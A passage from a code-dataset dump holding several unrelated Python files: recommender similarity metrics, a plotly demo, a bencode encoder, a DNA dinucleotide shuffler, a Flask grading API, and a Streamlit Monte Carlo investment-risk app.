ZeroDivisionError:\n return 0\n\n\n# def pearson_sp(x1, x2):\n# total = 0\n# denom1 = 0\n# denom2 = 0\n# try:\n# mean1 = sum(x1.values()) / (len(x1) + 0.0)\n# mean2 = sum(x2.values()) / (len(x2) + 0.0)\n# for k in x1:\n# if k in x2:\n# total += (x1[k] - mean1) * (x2[k] - mean2)\n# denom1 += (x1[k] - mean1) ** 2\n# denom2 += (x2[k] - mean2) ** 2\n# return (total + 0.0) / (sqrt(denom1) * sqrt(denom2))\n# except ZeroDivisionError:\n# return 0\n\n# improved pearson\ndef pearson_sp(x1, x2):\n common = set(x1.keys()) & set(x2.keys())\n if len(common) == 0:\n return 0\n ratingList1 = []\n ratingList2 = []\n for i in common:\n ratingList1.append(x1[i])\n ratingList2.append(x2[i])\n if len(ratingList1) == 0 or len(ratingList2) == 0:\n return 0\n avg1 = sum(ratingList1) / len(ratingList1)\n avg2 = sum(ratingList2) / len(ratingList2)\n mult = 0.0\n sum1 = 0.0\n sum2 = 0.0\n for i in range(len(ratingList1)):\n mult += (ratingList1[i] - avg1) * (ratingList2[i] - avg2)\n sum1 += pow(ratingList1[i] - avg1, 2)\n sum2 += pow(ratingList2[i] - avg2, 2)\n if sum1 == 0 or sum2 == 0:\n return 0\n return mult / (sqrt(sum1) * sqrt(sum2))\n\n\n# TrustWalker userd\ndef pearson_improved_sp(x1, x2):\n total = 0.0\n denom1 = 0\n denom2 = 0\n nu = 0\n try:\n mean1 = sum(x1.values()) / (len(x1) + 0.0)\n mean2 = sum(x2.values()) / (len(x2) + 0.0)\n for k in x1:\n if k in x2:\n # print('k'+str(k))\n nu += 1\n total += (x1[k] - mean1) * (x2[k] - mean2)\n # print('t'+str(total))\n denom1 += (x1[k] - mean1) ** 2\n denom2 += (x2[k] - mean2) ** 2\n # print('nu:'+str(nu))\n # print(total)\n return (total + 0.0) / (sqrt(denom1) * sqrt(denom2)) * sigmoid_2(nu)\n except ZeroDivisionError:\n return 0\n\n\ndef euclidean_sp(x1, x2):\n total = 0.0\n for k in x1:\n if k in x2:\n total += sqrt(x1[k] - x2[k])\n try:\n return 1.0 / total\n except ZeroDivisionError:\n return 0\n\ndef jaccard_sim(a, b):\n unions = len(set(a).union(set(b)))\n intersections = len(set(a).intersection(set(b)))\n return 1. * intersections / unions\n\n# train是一个字典套字典的格式\n# 形如:user:{item:rating}\n# inverse_train是一个字典套字典的格式\n# 形如:item:{user:rating}\ndef ips(train, inverse_train):\n # 存储项目间的相似度\n sim = {}\n for i, _ in inverse_train.items():\n for j, _ in inverse_train.items():\n if i == j: continue\n dist = getPearson(i, j, inverse_train)\n if i not in sim:\n sim[i] = {j : 0.0}\n sim[i][j] = dist\n sim2 = {}\n num = {}\n for user, items in train.items():\n for u,_ in items.items():\n if u not in num:\n num[u] = 0\n num[u] += 1\n if u not in sim2:\n sim2[u] = {}\n for v,_ in items.items():\n if v == u: continue\n if v not in sim2[u]:\n sim2[u][v] = 0\n sim2[u][v] += 1 / math.log(1 + len(items))\n for u in sim2:\n for v in sim2[u]:\n sim2[u][v] /= math.sqrt(num[u] * num[v])\n for item1, items in sim.items():\n for item2, value in items.items():\n if item1 not in sim2: continue\n if item2 not in sim2[item1]: continue\n sim[item1][item2] = value * sim2[item1][item2]\n # if sim[item1][item2] > 0 :\n # print()\n return sim\n\n# 计算向量i和j的皮尔逊相似度\ndef getPearson(i, j, inverse_train):\n p, q = formatuserDict(i, j, inverse_train)\n #只计算两者共同有的\n same = 0\n for i in p:\n if i in q:\n same += 1\n\n n = same\n # 分别求p,q的和\n sumx = sum([p[i] for i in range(n)])\n sumy = sum([q[i] for i in range(n)])\n # 分别求出p,q的平方和\n sumxsq = sum([p[i] ** 2 for i in range(n)])\n sumysq = sum([q[i] ** 2 for i in range(n)])\n # 求出p,q的乘积和\n sumxy = sum([p[i] * q[i] for i in range(n)])\n # print sumxy\n # 求出pearson相关系数\n if n == 0 : return 0\n up = sumxy - sumx * sumy / n\n down = ((sumxsq - pow(sumxsq, 2) / n) * (sumysq - pow(sumysq, 2)/n)) ** .5\n #若down为零则不能计算,return 0\n if down == 0 :return 0\n r = up / down\n r, _ = pearsonr(p, q)\n return r\n\n# 得到具体代表item的i和j的ratings向量\ndef formatuserDict(i, j, inverse_train):\n items = {}\n for user, rating in inverse_train[i].items():\n items[user] = [rating, 0]\n for user, rating in inverse_train[j].items():\n if(user not in items):\n items[user] = [0, rating]\n else:\n items[user][1] = rating\n p, q = [], []\n for _, value in items.items():\n p.append(value[0])\n q.append(value[1])\n # return items\n return p, q\n","sub_path":"utility/similarity.py","file_name":"similarity.py","file_ext":"py","file_size_in_byte":7549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"138610853","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 15 18:23:58 2019\n\n@author: icbab\n\"\"\"\n\nimport plotly.graph_objects as go\nimport numpy as np\n\nN = 70\nfig = go.Figure(data = [\n go.Mesh3d(\n x = (70 * np.random.randn(N)),\n y = (55 * np.random.randn(N)),\n z = (40 * np.random.randn(N)),\n opacity = 0.5,\n color = 'rgba(244,22,100,0.6)'\n )])\n\nfig.update_layout(scene = dict(\n xaxis = dict(nticks = 4, range = [-100, 100]),\n yaxis = dict(nticks = 4, range = [-50, 100]),\n zaxis = dict(nticks = 4, range = [-100, 100])),\n width = 700, margin= dict(r=20, l=10, b=10, t=10)\n)\n\nfig.write_html('second_figure.html', auto_open = True)\n","sub_path":"python/plotly_practice/practice2.py","file_name":"practice2.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"426004888","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Sep 25 12:12:00 2015\n\n@author: simonfredon\n\"\"\"\n\ndef int_encode(integ):\n return 'i' + str(integ) + 'e'\n\n\ndef bytes_encode(byte):\n return str(len(byte)) + ':' + (str(byte))[2:-1]\n\n\ndef list_encode(lists):\n for i in range(len(lists)):\n lists[i] = encode2(lists[i])\n return 'l' + ''.join([str(i) for i in lists]) + 'e'\n\n\ndef dict_encode(dicts):\n clean = []\n for i in dicts:\n dicts[i] = encode2(dicts[i])\n dicts[encode2(i)] = dicts.pop(i)\n for key, value in sorted(dicts.items(),\n key=lambda st: st[0].split(':')[1]):\n clean.append(str(key))\n clean.append(str(value))\n print(sorted(dicts.items()))\n print(clean)\n return 'd' + ''.join([i for i in clean]) + 'e'\n\n\ndef str_encode(stri):\n return stri\n\n\nbencode_dic = {\"\": int_encode, \"\": bytes_encode,\n \"\": list_encode, \"\": dict_encode,\n \"\": str_encode}\n\n\ndef encode2(obj):\n if type(obj) == bytes or int:\n return bencode_dic[str(type(obj))](obj)\n elif type(obj) == dict:\n for i in obj:\n obj[i] = bencode_dic[str(type(obj[i]))](obj)[i]\n return obj\n elif type(obj) == list:\n for i in range(len(list)):\n obj[i] = bencode_dic[str(type(obj[i]))](obj)[i]\n return obj\n else:\n return obj","sub_path":"exercises/350/bencode_tools.py","file_name":"bencode_tools.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"505904713","text":"from collections import defaultdict\nfrom random import shuffle\n\n\n#compile the dinucleotide edges\ndef prepare_edges(s):\n edges = defaultdict(list)\n for i in xrange(len(s)-1):\n edges[s[i]].append(s[i+1])\n return edges\n\n\ndef shuffle_edges(edges):\n #for each character, remove the last edge, shuffle, add edge back\n for char in edges:\n last_edge = edges[char][-1]\n edges[char] = edges[char][:-1]\n the_list = edges[char]\n shuffle(the_list)\n edges[char].append(last_edge)\n return edges\n\n\ndef traverse_edges(s, edges):\n generated = [s[0]]\n edges_queue_pointers = defaultdict(lambda: 0)\n for i in range(len(s)-1):\n last_char = generated[-1]\n generated.append(edges[last_char][edges_queue_pointers[last_char]])\n edges_queue_pointers[last_char] += 1\n return \"\".join(generated)\n\ndef dinuc_shuffle(s, pad_lengths = None):\n # print \"dog\"\n if pad_lengths == None:\n s = s.upper()\n return traverse_edges(s, shuffle_edges(prepare_edges(s)))\n else:\n s = s.upper()\n # print s\n left_pad = int(pad_lengths[0])\n right_pad = int(pad_lengths[1])\n # print left_pad\n # print right_pad\n seq = s[left_pad : len(s) - right_pad]\n shuffled_seq = traverse_edges(seq, shuffle_edges(prepare_edges(seq)))\n return s[:left_pad] + shuffled_seq + s[(len(s) - right_pad):]\n","sub_path":"deeplift/dinuc_shuffle.py","file_name":"dinuc_shuffle.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"355893933","text":"import re\ndef numsort(num):\n num.sort()\n print(num)\n\nnumsort([2,3,4,-3,4,5,-6,-7,7,5,9])\n\ncleanString = re.sub('[^A-Za-z]+', ' ', \"Happy%$@@#*(87Christmas %%#@&NewYear\")\na = list(cleanString.split())\nlongest = a[0]\nfor i in range (1,len(a)):\n if len(a[i]) > len(longest):\n longest = a[i]\n else:\n continue\nprint(longest)\n\n\n# binary number sort keep zeros on left\nbi = [0, 1, 1, 0, 0, 1, 0, 0, 1]\nbi.sort()\nprint(bi)\n\ndef sortbin(bin_array):\n length = len(bin_array)\n ones = sum(bin_array)\n zeros = length - ones\n return [0 for _ in range(zeros)] + [1 for _ in range(ones)]\n\nprint(sortbin([0, 1, 1, 0, 0]))","sub_path":"sortposneg_numbers.py","file_name":"sortposneg_numbers.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"184242717","text":"from pacu.profile import manager\nfrom pacu.core.io.scanimage.impl import ScanimageIO\n\nopt = manager.instance('opt')\n\ndef index_record(year, month, day):\n rec_paths = sorted(\n path.str for path in opt.scanimage_root.ls(\n '{}.{:2}.{:2}/*/*.tif'.format(year, month, day)))\n records = map(ScanimageIO.get_record, rec_paths)\n return dict(year=year, month=month, day=day, records=records)\n\ndef index_day(year, month):\n days = sorted(\n set(unicode(path.suffix[1:])\n for path in opt.scanimage_root.ls('{}.{:2}.*'.format(year, month))))\n return dict(year=year, month=month, days=days)\n\ndef index_month(year):\n months = sorted(\n set(unicode(path.stem[5:])\n for path in opt.scanimage_root.ls('{}.*'.format(year))\n if path.is_dir()))\n return dict(year=year, months=months)\n\ndef index_year():\n years = sorted(set(path.name[:4]\n for path in opt.scanimage_root.ls() if path.is_dir()))\n return dict(years=years)\n\ndef get_index(req, year=None, month=None, day=None):\n return index_record (year, month, day) if all((year, month, day)) else \\\n index_day (year, month) if all((year, month)) else \\\n index_month (year) if year else \\\n index_year ()\n\ndef post_session(req, path, session):\n rec = ScanimageIO(path)\n rec.set_session(session).session.create()\n return rec\n\ndef delete_session(req, path, session):\n rec = ScanimageIO(path)\n rec.set_session(session).session.remove()\n return rec\n","sub_path":"pacu/pacu/api/json/http/scanimage.py","file_name":"scanimage.py","file_ext":"py","file_size_in_byte":1557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"287604748","text":"\"\"\"\r\nCP1404/CP5632 - Practical\r\nRandom word generator - based on format of words\r\n\r\nAnother way to get just consonants would be to use string.ascii_lowercase\r\n(all letters) and remove the vowels.\r\n\"\"\"\r\nimport random\r\n\r\nVOWELS = \"aeiou\"\r\nCONSONANTS = \"bcdfghjklmnpqrstvwxyz\"\r\n\r\nword_format = str(input(\"Enter a word format\\n(eg: \"\"ccvc*\"\", where c/%/* for consonants, v/#/* for vowels): \"))\r\nword = \"\"\r\nfor kind in word_format.lower():\r\n if kind in \"c%*\":\r\n word += random.choice(CONSONANTS)\r\n elif kind in \"v#*\":\r\n word += random.choice(VOWELS)\r\n\r\nprint(word)","sub_path":"word.generator.py","file_name":"word.generator.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"212494400","text":"from django import template\n\nregister = template.Library()\n\n\n@register.filter(is_safe=True)\ndef monthy(value):\n month = {\n 1: 'Января',\n 2: 'Февраля',\n 3: 'Марта',\n 4: 'Апреля',\n 5: 'Мая',\n 6: 'Июня',\n 7: 'Июля',\n 8: 'Августа',\n 9: 'Сентября',\n 10: 'Октября',\n 11: 'Ноября',\n 12: 'Декабря',\n }\n return month[value]\n","sub_path":"index/templatetags/monthy.py","file_name":"monthy.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"609700968","text":"import subprocess as sp\nfrom time import sleep\n\ndef outlist(timer,iteration):\n\tfor i in range(0,iteration):\n\t\tx=sp.check_call(\"TASKLIST\",shell=True)\n\t\tprint(\"*******\",i,\"*******\")\n\t\tprint(x)\n\t\tprint()\n\t\tsleep(timer)\n\t\t\ndef main():\n\ttimer=eval(input(\"Enter Time Interval:\\t\"))\n\titeration = eval(input(\"Enter No of Iterations:\\t\"))\n\toutlist(timer,iteration)\n\nif __name__==\"__main__\":\n\tmain()","sub_path":"1.Class/Language_Python-master/Language_Python-master/LC26_1_Subprocess.py","file_name":"LC26_1_Subprocess.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"499544506","text":"import time\n\n__author__ = 'gtsui'\n\nimport core.core as core\nimport strategies.strategy as s\n\nstrategy = s.Strategy()\nkernel = core.Kernel(strategy)\n\nbitstamp_pusher = core.BitstampPusher(kernel)\neventqueue = core.EventQueue(strategy)\n\n### Start individual components\nkernel.start_eventqueue(eventqueue)\nkernel.start_pusher(bitstamp_pusher)\n\n\nkernel.onstart()\n\nwhile True:\n kernel.publish_risk()","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"492996666","text":"import strings\nfrom auth import AuthError, requires_auth\nimport os\nfrom flask import Flask, request, jsonify, abort\nfrom flask_sqlalchemy import SQLAlchemy\nfrom dotenv import load_dotenv\nfrom flask_cors import cross_origin\n\napp = Flask(__name__)\n\nload_dotenv()\n\napp.config.from_object(os.environ['APP_SETTINGS'])\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb = SQLAlchemy(app)\n\nfrom services import ( # noqa: E402\n update_or_create_category,\n update_or_create_subcategory,\n update_or_create_criterion,\n update_or_create_link,\n)\nfrom models import Category, Subcategory, Criterion, Link, Score, State # noqa: E402\n\n\n@app.errorhandler(400)\ndef handle_bad_request(e):\n return jsonify(description=str(e.description)), 400\n\n\n@app.errorhandler(ValueError)\ndef handle_value_error(e):\n return jsonify(description=str(e)), 400\n\n\n@app.errorhandler(AuthError)\ndef handle_auth_error(e):\n return jsonify(e.error), 401\n\n\n@app.errorhandler(404)\ndef handle_not_found(e):\n return jsonify(description=str(e.description)), 404\n\n\n@app.errorhandler(405)\ndef handle_not_allowed(e):\n return jsonify(description=str(e.description)), 405\n\n\n@app.errorhandler(Exception)\ndef handle_server_error(e):\n return jsonify(description='Internal server error'), 500\n\n\n@app.route('/categories', methods=['GET'])\ndef get_categories():\n with_subcategories = request.args.get('withSubcategories') == 'true'\n\n categories = Category.query.all()\n return jsonify([category.serialize(with_subcategories) for category in categories])\n\n\n@app.route('/categories', methods=['POST'])\n@cross_origin(headers=['Content-Type', 'Authorization'])\n@requires_auth\ndef create_category():\n data = request.get_json()\n category = update_or_create_category(data=data)\n return jsonify(category.serialize()), 201\n\n\n@app.route('/categories/', methods=['GET'])\ndef get_category(id_):\n category = Category.query.get(id_)\n\n if category is None:\n abort(404, strings.category_not_found)\n\n with_subcategories = request.args.get('withSubcategories') == 'true'\n return jsonify(category.serialize(with_subcategories))\n\n\n@app.route('/categories/', methods=['PUT'])\n@cross_origin(headers=['Content-Type', 'Authorization'])\n@requires_auth\ndef update_category(id_):\n category = Category.query.get(id_)\n data = request.get_json()\n\n if category is None:\n abort(404, strings.category_not_found)\n\n category = update_or_create_category(data, category=category)\n return jsonify(category.serialize())\n\n\n@app.route('/subcategories', methods=['GET'])\ndef get_subcategories():\n with_criteria = request.args.get('withCriteria') == 'true'\n\n subcategories = Subcategory.query.all()\n return jsonify([subcategory.serialize(with_criteria) for subcategory in subcategories])\n\n\n@app.route('/subcategories', methods=['POST'])\n@cross_origin(headers=['Content-Type', 'Authorization'])\n@requires_auth\ndef create_subcategory():\n data = request.get_json()\n subcategory = update_or_create_subcategory(data=data)\n return jsonify(subcategory.serialize()), 201\n\n\n@app.route('/subcategories/', methods=['GET'])\ndef get_subcategory(id_):\n subcategory = Subcategory.query.get(id_)\n\n if subcategory is None:\n abort(404, strings.subcategory_not_found)\n\n with_criteria = request.args.get('withCriteria') == 'true'\n return jsonify(subcategory.serialize(with_criteria))\n\n\n@app.route('/subcategories/', methods=['PUT'])\n@cross_origin(headers=['Content-Type', 'Authorization'])\n@requires_auth\ndef update_subcategory(id_):\n subcategory = Subcategory.query.get(id_)\n data = request.get_json()\n\n if subcategory is None:\n abort(404, strings.subcategory_not_found)\n\n subcategory = update_or_create_subcategory(data, subcategory=subcategory)\n return jsonify(subcategory.serialize())\n\n\n@app.route('/criteria', methods=['GET'])\ndef get_criteria():\n criteria = Criterion.query.all()\n return jsonify([criterion.serialize() for criterion in criteria])\n\n\n@app.route('/criteria', methods=['POST'])\n@cross_origin(headers=['Content-Type', 'Authorization'])\n@requires_auth\ndef create_criterion():\n data = request.get_json()\n criterion = update_or_create_criterion(data=data)\n return jsonify(criterion.serialize()), 201\n\n\n@app.route('/criteria/', methods=['GET'])\ndef get_criterion(id_):\n criterion = Criterion.query.get(id_)\n\n if criterion is None:\n abort(404, strings.criterion_not_found)\n\n return jsonify(criterion.serialize())\n\n\n@app.route('/criteria/', methods=['PUT'])\n@cross_origin(headers=['Content-Type', 'Authorization'])\n@requires_auth\ndef update_criterion(id_):\n criterion = Criterion.query.get(id_)\n\n if criterion is None:\n abort(404, strings.criterion_not_found)\n\n data = request.get_json()\n update_or_create_criterion(data, criterion)\n return jsonify(criterion.serialize())\n\n\n@app.route('/links', methods=['GET'])\n@app.route('/links')\ndef get_links():\n links = Link.query.all()\n return jsonify([link.serialize() for link in links])\n\n\n@app.route('/links', methods=['POST'])\n@cross_origin(headers=['Content-Type', 'Authorization'])\n@requires_auth\ndef create_link():\n data = request.get_json()\n link = update_or_create_link(data=data)\n return jsonify(link.serialize()), 201\n\n\n@app.route('/links/', methods=['GET'])\ndef get_link(id_):\n link = Link.query.get(id_)\n\n if link is None:\n abort(404, strings.link_not_found)\n\n return jsonify(link.serialize())\n\n\n@app.route('/links/', methods=['PUT'])\n@cross_origin(headers=['Content-Type', 'Authorization'])\n@requires_auth\ndef update_link(id_):\n link = Link.query.get(id_)\n data = request.get_json()\n\n if link is None:\n abort(404, strings.link_not_found)\n\n link = update_or_create_link(data, link=link)\n return jsonify(link.serialize())\n\n\n@app.route('/grades/', methods=['GET'])\ndef get_state_grades(code_):\n state = State.query.get(code_)\n\n if state is None:\n abort(404, strings.invalid_state)\n\n state_data = state.serialize()\n return jsonify(\n grade=state_data['grade'],\n category_grades=state_data['category_grades'],\n ), 200\n\n\n@app.route('/scores', methods=['POST'])\n@cross_origin(headers=['Content-Type', 'Authorization'])\n@requires_auth\ndef create_score():\n data = request.get_json()\n score = Score(\n criterion_id=data.get('criterion_id'),\n state=data.get('state'),\n meets_criterion=data.get('meets_criterion'),\n ).save()\n\n return jsonify(score.serialize()), 201\n\n\n@app.route('/states/', methods=['GET'])\ndef get_state(code_):\n state = State.query.get(code_)\n\n if state is None:\n abort(404, strings.invalid_state)\n\n return jsonify(state.serialize()), 200\n\n\n@app.route('/states', methods=['GET'])\ndef get_states():\n states = State.query.all()\n return jsonify([state.serialize() for state in states]), 200\n\n\n# This doesn't need authentication\n@app.route('/api/public')\n@cross_origin(headers=['Content-Type', 'Authorization'])\ndef public():\n response = \"Hello from a public endpoint! You don't need to be authenticated to see this.\"\n return jsonify(message=response)\n\n\n# This needs authentication\n@app.route('/api/private')\n@cross_origin(headers=['Content-Type', 'Authorization'])\n@requires_auth\ndef private():\n response = 'Hello from a private endpoint! You need to be authenticated to see this.'\n return jsonify(message=response)\n\n\nif __name__ == '__main__':\n app.run()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"620322181","text":"import streamlit as st\nimport plotly.graph_objects as go\nimport numpy as np\nimport pandas as pd\n# import modin.pandas as pd\n\nfrom PIL import Image\nimport os\n\nimport datetime \nfrom datetime import date\n\nfrom MCForecastTools import MCSimulation\nimport yfinance as yf\n\nfrom datetime import date\nimport perf_analysis as pa\nfrom portfolio_test import *\n\ninput_dir = \"/content/investment_risk/data/\"\n# input_dir = \"data/\"\nnew_data = True\n\n\nst.set_page_config(\n page_title=\"Estimate Risk and Investment Potential in Advanced Portfolio Construction/Management\")\n\n# st.title(\"Financial Planning\")\n# st.write(\"©Our Financial Journey\")\n\nheader_image = Image.open(f\"{input_dir}our_financial_journey.png\")\nst.image(header_image, use_column_width=True)\nst.write(\"© 2021 JV\")\n\nsymbols = [\"VWCE.DE\", \"0P0000SCQD.F\", \"UST.PA\", \"AAPL\", \"BTC-USD\"]\n\nNUM_YEARS = 66\n\nend_date = date.today()\nstart_date = end_date-datetime.timedelta(days=NUM_YEARS*365)\n\nst.header(\"**Analysis on Risk and Investment Potential**\")\nst.write(\"Take as an example these 5 Assets\")\nst.write(\" \")\ndf = pd.read_csv(f\"{input_dir}assets.csv\")\n# df = df.set_index('Ticker')\n\nst.table(df)\n# st.write(\"**0P0000SCQD.F** : Euro Government Bond Index Fund ETF - low risk and return\")\n# st.write(\"**VWCE.DE** : FTSE All-World Stock UCITS ETF - medium low risk and return - ETF with High diversification between sectors and geography \")\n# st.write(\"**UST.PA** : Nasdaq-100 UCITS ETF - medium high risk and return - Low diversification between sectors and geography - US TOP 100 Tech stocks\")\n# st.write(\"**AAPL** : Apple Inc. - high risk and return - Single company stock\")\n# st.write(\"**BTC-USD** : Bitcoin - high risk and return - Unregulated Crypto Asset \")\n\nst.write(\" \")\n\nst.write(\"**Sharpe Ratio and Risk-Adjusted Returns measures of an investment**\")\nst.write(\"\"\" \"A risk-adjusted return measures an investment's return after taking into account the degree of risk that was taken to achieve it. There are several methods of risk-adjusting performance, such as the Sharpe ratio.\" \"\"\")\nst.markdown(\"Further reading on [Risk-Adjusted Returns and Sharpe Ratio](https://www.investopedia.com/terms/r/riskadjustedreturn.asp).\")\n\ndf_1 = pd.read_csv(f\"{input_dir}risk-adjusted_data.csv\")\ndf_1['Assets'] = df_1['Unnamed: 0']\ndf_1 = df_1.drop(\"Unnamed: 0\", axis=1).set_index('Assets')\n\nefficient_image = Image.open(f\"{input_dir}fig_efficient.png\")\nst.image(efficient_image, use_column_width=True)\n\nst.table(df_1.style.format({\n 'Annualized return': '{:.2%}',\n 'Annualized volatility': '{:.2%}',\n 'Annualized Sharpe ratio': '{:.2}', \n 'Max drawdown': '{:.2%}',\n})) \n\n\nst.write(\"**Correlation and Risk-Adjusted Returns**\")\nst.write(\"\"\" \"Modern portfolio theory (MPT) asserts that an investor can achieve diversification and reduce the risk of losses by reducing the correlation between the returns of the assets selected for the portfolio. The goal is to optimize the expected return against a certain level of risk.\" \"\"\")\nst.markdown(\"Further reading on [Correlation and Modern Portfolio Theory](https://www.investopedia.com/ask/answers/030515/how-correlation-used-modern-portfolio-theory.asp).\")\n\ncorrelation = Image.open(f\"{input_dir}correlation.png\")\nst.image(correlation, use_column_width=True)\n\nst.write(\" We choose 3 assets (Euro Government Bond Index Fund ETF, High diversified and low cost All-World Stock UCITS ETF and Crypto as an hedge against inflation) for simulating a Risk-Adjusted Portfolio. the choice was based on the data above. They are the least correlated assets, most diversified and with higher sharpe ratio.\")\n\nst.header(\"**Monte Carlo Simulations based on Historical Data**\")\nbutton_MC = st.checkbox('What is a Monte Carlo Simulation?', False)\n\nif button_MC:\n st.write(\"Monte Carlo methods are a class of algorithms that rely on repeated random sampling to obtain numerical results - by the law of large numbers, the expected value of a random variable can be approximated by taking the sample mean of independent samples.\")\n st.write(\"In plain English: while we don't know what the correct answer or strategy is, we can simulate thousands or millions of attempts and the average will approximate the right answer. Monte Carlo simulations can be applied in anything that has a probabilistic element or has risk, e.g. stock market and portfolio performance in Finance etc.\")\n\ntype_phase = [\"Wealth accumulation Phase\", \"Wealth distribution Phase\"]\n\nst.write(\"Nowadays during the wealth accumulating phase we take out the bonds from the portfolio since the return is too low. Their portfolio role of offering some stability and protection during certain periods of market stress can also be achived by a consistent dollar cost average. But always take into consideration your risk profile.\")\n\ncolForecast1, colForecast2 = st.columns(2)\nwith colForecast1:\n simulation_port = st.number_input(\"Enter the number of simulations.\", min_value=200.00)\n simulation_port = int(simulation_port)\nwith colForecast2:\n phase = st.selectbox('Select your investment phase', type_phase)\n\nst.subheader(\"**Asset Investment Simulation**\")\nst.write(f\"This tool will calculate the mean expected returns for the asset below, with a starting investment of 1,000€ and using the timespan in years selected below). The results consider a `95%` confidence interval.\")\n\ntype_ports = [ \"Min Volatility\" ,\"Max Sharpe Ratio\"]\n\ncolForecast1, colForecast2 = st.columns(2)\nwith colForecast1:\n simulation_pred = st.number_input(\"Enter the number of simulations.\", min_value=100.00)\n simulation_pred = int(simulation_pred)\n type_port = st.selectbox('Select type of portfolio', type_ports)\n\nwith colForecast2:\n forecast_year = st.number_input(\"Enter your forecast year (min 1 year): \", min_value= 0.0, value=10.0) #, format='%d')\n invest_value = st.number_input(\"Initial investment value (€): \", min_value= 0.0, value=1000.0) \n st.write(' ')\n# submit = st.button(\"Simulate\") \n\n\nif True: \n st.error(\"Keep in mind that Monte Carlo simulatons are highly computational intensive models. A higher number of simulations will give you more accurate results but will also take more time. Please be patient, your results will appear soon.\")\n \n# fig_port, df_allocation, df_metrics = output_portfolio(input_dir)\n \n# df_allocation_test = df_allocation.fillna(0)\n# test_1 = df_allocation_test['Max Sharpe Ratio'].to_list()\n\n# df_1, _ = pa.perfAnalysis(df_allocation_test.index.to_list(), \n# portf_weights=df_allocation_test['Max Sharpe Ratio'].to_list(),\n# start=date(2000,1,4), end=date.today(),\n# riskfree_rate=0.01, init_cap=1000,\n# chart_size=(22,12))\n\n\n# df_1 = df_1[[\"Annualized return\", \"Annualized volatility\", \"Annualized Sharpe ratio\", \"Max drawdown\"]][:-1]\n\n \n st.subheader(\"**Risk-Adjusted Portfolio**\")\n\n\n if phase == \"Wealth accumulation Phase\":\n\n fig_port, df_allocation, df_metrics = output_portfolio(input_dir, acc=True, num_sim=simulation_port)\n\n symbols = df_allocation.index.to_list()\n\n symbols = df_allocation.index.to_list()\n dfs = {}\n for i, s in enumerate(symbols):\n dfs[s] = yf.download(s,start_date,end_date)#['Adj Close']\n\n list_allocation = []\n\n ticker = list(dfs.keys())[i]\n\n df1 = dfs[ticker][[\"Open\",\"High\", \"Low\",\"Close\", \"Volume\"]]\n\n df1 = df1.rename(columns={\"Open\": \"open\", \"High\": \"high\", \"Low\":\"low\", \"Close\": \"close\", \"Volume\":\"volume\"})\n\n tuples = [(ticker,'open'), \n (ticker,'high'), \n (ticker,'low'), \n (ticker,'close'),\n (ticker,'volume'),\n ]\n\n df1.columns = pd.MultiIndex.from_tuples(tuples)\n if i == 0:\n df = df1\n else:\n df = pd.concat([df, df1], axis=1).dropna()\n else:\n\n fig_port, df_allocation, df_metrics = output_portfolio(input_dir, num_sim=simulation_port)\n\n symbols = df_allocation.index.to_list()\n\n symbols = df_allocation.index.to_list()\n dfs = {}\n for i, s in enumerate(symbols):\n dfs[s] = yf.download(s,start_date,end_date)#['Adj Close']\n\n list_allocation = []\n\n ticker = list(dfs.keys())[i]\n\n df1 = dfs[ticker][[\"Open\",\"High\", \"Low\",\"Close\", \"Volume\"]]\n\n df1 = df1.rename(columns={\"Open\": \"open\", \"High\": \"high\", \"Low\":\"low\", \"Close\": \"close\", \"Volume\":\"volume\"})\n\n tuples = [(ticker,'open'), \n (ticker,'high'), \n (ticker,'low'), \n (ticker,'close'),\n (ticker,'volume'),\n ]\n\n df1.columns = pd.MultiIndex.from_tuples(tuples)\n if i == 0:\n df = df1\n else:\n df = pd.concat([df, df1], axis=1).dropna()\n \n st.pyplot(fig_port)\n \n st.write(\"Composition of Risk-Adjusted Portfolio based on simulation results\")\n st.table(df_allocation.style.format({\n 'Min Volatility': '{:.2%}',\n 'Max Sharpe Ratio': '{:.2%}',\n }))\n \n st.write(\"Performance results of these portfolios\")\n st.table(df_metrics.style.format({\n 'Expected Return': '{:.2%}',\n 'Volatility': '{:.2%}',\n }))\n \n weights = df_allocation[type_port].to_list()\n \n \n MC_thirtyyear = MCSimulation(\n portfolio_data = df,\n weights = weights,\n num_simulation = int(simulation_pred),\n num_trading_days = 252*int(forecast_year)\n )\n\n portfolio_cumulative_returns = MC_thirtyyear.calc_cumulative_return()\n # portfolio_cumulative_returns = pd.read_csv(\"data/mt_carlo_results.csv\")\n\n principal = invest_value\n portfolio_cumulative_returns_inv = portfolio_cumulative_returns * invest_value\n\n fig = go.Figure()\n for column in portfolio_cumulative_returns_inv.columns.to_list(): \n fig.add_trace(\n go.Scatter(\n x=portfolio_cumulative_returns_inv.index, \n y=portfolio_cumulative_returns_inv[column],\n # name=\"Forecast Salary\"\n )\n )\n\n fig.update_layout(\n # title='Monte Carlo Simulations',\n xaxis_title='Days',\n yaxis_title='Amount(€)',\n showlegend=False\n )\n\n 